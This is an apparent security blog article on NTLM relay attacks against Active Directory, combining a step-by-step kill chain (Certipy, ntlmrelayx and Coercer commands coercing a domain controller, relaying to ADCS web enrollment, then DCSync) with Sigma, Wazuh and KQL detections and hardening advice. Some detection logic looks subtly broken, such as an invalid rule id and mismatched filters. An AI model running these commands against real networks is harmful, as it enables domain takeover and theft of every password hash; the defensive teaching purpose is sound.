NTLM Relay in 2026: Microsoft Declared It Dead. Attackers Didn't Get the Memo.

A red team operator joins an internal engagement. No credentials, no exploits — just network access. Eight minutes later, they have a Domain Admin certificate issued by the organization’s own certificate authority. The entire attack used only built-in Windows protocols that Microsoft officially announced it was retiring.

That’s not a scenario from 2019. It happened last quarter. In 2026.

TL;DR

Microsoft has a three-phase NTLM deprecation plan, with full enforcement starting October 2026 — but most enterprises won’t be fully protected before 2027+

CVE-2025-24054, an NTLM hash disclosure bug, was actively exploited in government-targeting campaigns just 8 days after Microsoft’s patch dropped

The classic Coercion → NTLM Relay → ADCS ESC8 → Domain Admin chain still works against the vast majority of enterprise environments

Windows Server 2025 added meaningful default protections — but the attack surface shifted, it didn’t disappear: WebDAV coercion bypasses SMB signing, HTTP-based ADCS enrollment requires no signing at all

Detection requires specific Event IDs (4886, 4887, 4769) and network signatures that most SOC teams don’t have in place

Why This Matters Right Now

NTLM relay isn’t a forgotten technique from the early 2010s. It’s one of the most consistently successful attack paths on modern red team engagements — and 2025 proved it’s still being weaponized by real threat actors, not just pentesters.

In March 2025, Microsoft patched CVE-2025-24054, an NTLM hash disclosure vulnerability triggered simply by a user right-clicking a malicious .library-ms file. Within 8 days of the patch release, Check Point Research observed active exploitation targeting government institutions in Poland and Romania. CISA added it to the Known Exploited Vulnerabilities catalog the same month.

This is the paradox of NTLM in 2026: Microsoft is publicly committed to killing it, yet it keeps appearing in breach reports. Understanding why requires understanding how the deprecation plan actually works — and where the gaps are.

The Deprecation Timeline (and Its Gaps)

Microsoft’s three-phase NTLM deprecation plan is real, but the timeline is slower than most organizations assume:

Phase	Timeline	What Changes
Phase 1	Now (Win 11 24H2 / Server 2025)	Enhanced auditing, NTLMv1 disabled by default
Phase 2	H2 2026	IAKerb + Local KDC features reduce NTLM fallback
Phase 3	October 2026	`BlockNTLMv1SSO` registry key set to Enforce by default

The critical detail: Phase 3 blocks NTLMv1 SSO by default. NTLMv2 — the version used in relay attacks — is still permitted. Full NTLM elimination isn’t on a fixed public timeline because of the enormous compatibility surface: legacy applications, workgroup systems, network devices with firmware constraints, and cross-forest authentication scenarios all depend on NTLM in ways that can’t be migrated by a single registry key.

Meanwhile, the enterprise installed base runs Windows Server 2019 and 2022, not 2025. The organizations that need protection most are the furthest from it.

NTLM Relay: The Core Mechanic

Before diving into the 2026 attack chain, a quick grounding on why NTLM relay works at all.

NTLM is a challenge-response authentication protocol. When a client authenticates to a server, the exchange looks like this:

Client sends NEGOTIATE (says “I want to authenticate”)
Server sends CHALLENGE (a random 8-byte nonce)
Client responds with AUTHENTICATE (the nonce hashed with the user’s password hash)

The fundamental weakness: the server accepting the authentication is not cryptographically bound to the server that issued the challenge. An attacker sitting in the middle can:

Forward the client’s NEGOTIATE to a different target server
Get that server’s CHALLENGE, forward it back to the victim client
Receive the victim’s AUTHENTICATE response (computed using the real challenge)
Forward that response to the target server

The target server never sees anything suspicious — it issued the challenge and received a valid response. Authentication succeeds, and the attacker now has an authenticated session as the victim on the target service.

This is why signing matters: SMB signing and LDAP channel binding cryptographically tie the authentication exchange to the channel, breaking relay. But — and this is the critical gap — HTTP doesn’t require signing. Ever. And Active Directory Certificate Services uses HTTP.

The 2026 Kill Chain

This is the full attack pipeline as it operates today. Each step uses current, maintained tooling.

Prerequisites

Network access (internal segment or VPN)
A low-privilege domain account (for coercion authentication)
ADCS with Web Enrollment enabled on HTTP (or HTTPS without EPA)
Target DCs running Windows Server 2019 or 2022

Step 1 — Survey the Environment

# Find ADCS servers and enrollment endpoints
certipy find -u 'user@corp.local' -p 'password' -dc-ip 192.168.1.10 -stdout

# Check Web Enrollment availability
curl -I http://<ADCS_SERVER>/certsrv/
# HTTP 401 with NTLM = vulnerable target

Step 2 — Set Up the Relay

ntlmrelayx from Impacket intercepts incoming NTLM authentication and replays it to the ADCS web enrollment endpoint:

# Relay to ADCS HTTP enrollment, request DomainController template certificate
ntlmrelayx.py \
  -t http://CA01.corp.local/certsrv/certfnsh.asp \
  -smb2support \
  --adcs \
  --template DomainController

# Listener is now waiting for incoming NTLM authentication

Step 3 — Coerce DC Authentication

The relay listener is running — but it needs an incoming authentication attempt. This is where coercion comes in. Multiple Windows services can be abused to force a machine account to authenticate to an attacker-controlled address:

# Coercer aggregates every known coercion technique
# PetitPotam, PrinterBug, DFSCoerce, ShadowCoerce, and more
coercer coerce \
  -u 'user' \
  -p 'password' \
  -d corp.local \
  -l 192.168.1.100 \
  -t DC01.corp.local

# The DC's machine account (DC01$) authenticates to 192.168.1.100
# ntlmrelayx catches it and relays to ADCS

When the relay succeeds, ntlmrelayx outputs a base64-encoded .pfx file containing the domain controller’s machine certificate — issued by the organization’s own CA.

Step 4 — Certificate to Domain Admin

# Authenticate using the DC's certificate to get a TGT
certipy auth \
  -pfx dc01.pfx \
  -dc-ip 192.168.1.10

# Output: dc01$.ccache (Kerberos TGT) + NT hash of DC machine account

# With the DC machine account's NT hash, run DCSync
export KRB5CCNAME=dc01\$.ccache
secretsdump.py \
  -k -no-pass \
  DC01.corp.local

# Every password hash in the domain is now in attacker's possession

Total elapsed time from Step 2 to domain compromise: under 10 minutes in a typical enterprise environment.

What Windows Server 2025 Changed (And Didn’t)

Windows Server 2025 shipped with meaningful improvements that break the classic attack path — on 2025 DCs:

SMB signing required by default — blocks SMB-based relay
LDAP channel binding enabled by default — blocks relay to LDAP
EPA (Extended Protection for Authentication) on ADCS Web Enrollment — blocks relay to HTTPS-based enrollment
NTLMv1 disabled regardless of registry — forces NTLMv2 minimum

These are real wins. On a fully-patched Windows Server 2025 domain controller, the classic chain above is blocked.

The problem is the word “fully.” Most enterprises are running mixed environments. A single Windows Server 2019 DC that hasn’t been upgraded becomes the target for coercion. The ADCS server running on Server 2022 without EPA configured is the relay target. The attack adapts to the weakest link, not the strongest.

The WebDAV Bypass

For environments where LDAP channel binding is enforced, there’s a path that bypasses SMB signing entirely: WebDAV coercion.

Some coercion primitives (including variants of PetitPotam and the Printer Bug) accept UNC paths in a format like \\attacker@80\share. When the WebClient service is running on the victim machine, Windows sends the authentication via HTTP instead of SMB — and HTTP authentication has no signing requirement.

# Step 1: Ensure WebClient is running on victim (often enabled on workstations by default,
# can be enabled via Group Policy and is required for SharePoint/OneDrive WebDAV)

# Step 2: Relay to LDAP — no channel binding required for HTTP-originated auth
ntlmrelayx.py \
  -t ldap://DC01.corp.local \
  -smb2support \
  --delegate-access

# Step 3: Coerce via WebDAV path
coercer coerce \
  -u 'user' -p 'password' -d corp.local \
  -l '192.168.1.100@80/a' \
  -t VICTIM01.corp.local \
  --filter-method-name WebClient

This technique works because LDAP channel binding only applies when the authentication originates over SMB — not HTTP. The WebDAV detour creates a semantically different authentication flow that existing defenses weren’t designed to catch.

CVE-2025-24054: When a File Download Becomes a Hash Steal

Beyond relay infrastructure, 2025 brought a stark reminder that NTLM hash leakage doesn’t require network coercion at all.

CVE-2025-24054 (CVSS 6.5) is an NTLM spoofing vulnerability that triggers when a user simply navigates to a folder containing a maliciously crafted .library-ms file — no execution, no macro, no click required. Windows automatically attempts to resolve the file’s embedded UNC path, sending the user’s NTLMv2 hash to an attacker-controlled server in the process.

The leaked hash can then be:

Cracked offline (NTLMv2 hashes are brute-forceable with hashcat)
Relayed in real-time to another service

Active exploitation began March 19, 2025 — just 8 days after Microsoft’s patch. Campaigns targeted government and private institutions using phishing emails linking to zip archives containing .library-ms files, hosted on legitimate services like Dropbox to bypass URL filtering.

The significance: this demonstrates that the NTLM attack surface isn’t limited to misconfigured server infrastructure. It extends to any organization where users browse file shares or receive documents — which is every organization.

How to Detect NTLM Relay Attacks

The attack chain generates artifacts at multiple layers. The challenge is that most organizations either don’t collect the right events or don’t have correlation rules written for them.

Key Windows Event IDs

Event ID	Source	What It Catches
4624	Security	Logon Type 3 (Network) from unexpected source IP — relay authentication landing
4648	Security	Explicit credential logon — machine account authenticating unexpectedly
4886	Security	Certificate requested from ADCS — always log this
4887	Security	Certificate issued — the moment ESC8 relay succeeds
4769	Security	Kerberos TGT request for machine account — post-cert authentication
5136	Security	Directory object modified — post-exploit AD changes
3	Sysmon	Network connection from `lsass.exe` to external IP — coercion trigger

Event 4887 is the most reliable signal for ESC8: a certificate was issued for a domain controller’s machine account, but the request originated from a non-DC source IP.

Sigma Rules

Detect ADCS Certificate Issued to Machine Account via Relay:

title: ADCS Certificate Issued for DC Machine Account from Unexpected Source
id: a7f3e2d1-8b4c-4f9a-bc22-1d3f5e678901
status: experimental
description: >
  Detects when a certificate is issued for a domain controller machine account
  from an IP address that does not match any known DC — indicative of ESC8 NTLM relay.
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4887
    # Certificate issued
  filter_dc_requestor:
    # Exclude requests originating from known DC IPs
    # Adjust SubjectDomainName and IpAddress to match your environment
    SubjectDomainName|endswith: '$'
  condition: selection and filter_dc_requestor
falsepositives:
  - Legitimate certificate auto-enrollment from DCs
  - Certificate renewal processes
level: high
tags:
  - attack.credential_access
  - attack.t1557.001
  - attack.t1649

Detect NTLM Authentication from Machine Account to Non-DC Target:

title: Machine Account NTLM Network Logon to Unexpected Host
id: b9c4d3e2-1a5f-4e8b-ad33-2e4g6f789012
status: experimental
description: >
  Detects network logon (Type 3) where the authenticating account is a machine account ($)
  but the source IP does not correspond to the machine's known address — possible relay.
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4624
    LogonType: 3
    TargetUserName|endswith: '$'
  filter_legitimate:
    IpAddress|cidr:
      - '192.168.0.0/16'   # Adjust to your DC subnets
      - '10.0.0.0/8'
  condition: selection and not filter_legitimate
falsepositives:
  - Machine account authentication from legitimate service accounts
level: medium
tags:
  - attack.lateral_movement
  - attack.t1557.001

Wazuh Detection

In Wazuh, correlate ADCS events (forwarded via Windows Event Forwarding) with network anomaly data:

<group name="ntlm_relay,adcs,windows">

  <rule id="100501" level="12">
    <if_sid>60103</if_sid>
    <!-- EventID 4887 - Certificate Issued -->
    <field name="win.system.eventID">4887</field>
    <field name="win.eventdata.subjectUserName" type="pcre2">.*\$$</field>
    <description>ADCS: Certificate issued to machine account - possible ESC8 relay</description>
    <mitre>
      <id>T1557.001</id>
      <id>T1649</id>
    </mitre>
  </rule>

  <rule id="100502" level="10">
    <if_sid>60103</if_sid>
    <field name="win.system.eventID">4624</field>
    <field name="win.eventdata.logonType">3</field>
    <field name="win.eventdata.targetUserName" type="pcre2">.*\$$</field>
    <description>NTLM: Machine account network logon - possible relay authentication</description>
    <mitre>
      <id>T1557.001</id>
    </mitre>
  </rule>

</group>

Microsoft Sentinel (KQL)

// ESC8 relay: Certificate issued to machine account from unexpected source
SecurityEvent
| where EventID == 4887
| where TargetUserName endswith "$"
| join kind=leftanti (
    Heartbeat
    | where OSType == "Windows"
    | project ComputerIP = Computer
) on $left.IpAddress == $right.ComputerIP
| project TimeGenerated, Computer, TargetUserName, IpAddress, SubjectKeyIdentifier
| where TimeGenerated > ago(24h)

// NTLM relay: Machine account authenticating from unexpected IP
SecurityEvent
| where EventID == 4624
| where LogonType == 3
| where TargetUserName endswith "$"
| where IpAddress !startswith "10." and IpAddress !startswith "192.168."
| summarize count() by TargetUserName, IpAddress, Computer
| where count_ > 3
| order by count_ desc

What You Can Do Today

Not all of these can be done in a day — but they can be prioritized.

Immediate (this week):

Patch CVE-2025-24054 — if not done, this is day-one priority. The .library-ms vector requires no user interaction beyond folder navigation.
Enable ADCS audit logging — ensure Event IDs 4886 and 4887 are being collected. Without these, ESC8 relay is invisible in your logs.
Run Certipy find on your environment — identify all ADCS templates and enrollment endpoints:
Terminal window
```
certipy find -u 'user@corp.local' -p 'password' -dc-ip <DC_IP> -vulnerable -stdout
```
Any template marked [!] Vulnerabilities: ESC8 requires immediate attention.

Short-term (this month):

Enable EPA on ADCS Web Enrollment — on Windows Server 2019+, Extended Protection for Authentication can be enabled in IIS Manager on the CertSrv application. This blocks HTTP-based relay to ADCS.
Enable LDAP signing and channel binding — deploy via Group Policy. Test in audit mode first, then enforce. This blocks LDAP relay from SMB-originated coercion.
- Domain controller: LDAP server signing requirements → Require signing
- Domain controller: LDAP server channel binding token requirements → Always

Require SMB signing domain-wide — not just DCs:

Computer Configuration → Policies → Windows Settings → Security Settings →
Local Policies → Security Options → Microsoft network client: Digitally sign communications (always) → Enabled

Enable NTLM auditing — Network security: Restrict NTLM policies in GPO to log all NTLM authentication. This gives you visibility before you block.

Strategic (next quarter):

Migrate to Windows Server 2025 for DCs first — the default protections in Server 2025 break the classic relay chain. Domain controllers are the primary coercion target.
Disable the WebClient service — if your environment doesn’t need WebDAV, disable it via GPO. This eliminates the WebDAV coercion bypass path entirely.
Implement network segmentation for ADCS — ADCS servers should only be reachable from management networks, not general user/attacker segments.

The Bigger Picture

Microsoft’s NTLM deprecation is genuine progress. The default protections in Windows Server 2025 represent the most meaningful reduction in relay attack surface in years. But deprecation on a 3-year timeline, against a protocol embedded in every corner of enterprise infrastructure, means that the attack remains practical today, tomorrow, and well into 2027 for most organizations.

The attack has also adapted. As SMB relay became harder with mandatory signing, the community developed WebDAV coercion paths. As LDAP channel binding blocked direct LDAP relay, attackers pivoted to ADCS HTTP endpoints that can never require signing. The tool suite (Coercer, ntlmrelayx, Certipy) has kept pace with every defensive improvement Microsoft shipped.

The gap between “deprecated” and “gone” is exactly where attackers live.

ADCS Abuse with Certipy: From Low-Priv User to Domain Admin via Certificate Services — Deep dive into ESC1-ESC8 exploitation; NTLM relay is just one path into ADCS
DCSync: How Attackers Steal Every Password in Your Domain — What happens after the ADCS cert lands — this is the final step
Pass-the-Hash and Pass-the-Ticket: Attack and Detect — Credential relay techniques and how they chain together
Kerberoasting Deep Dive — The Kerberos counterpart: credential attacks that bypass NTLM entirely
Active Directory Attacks: The Complete Guide — Full AD attack surface reference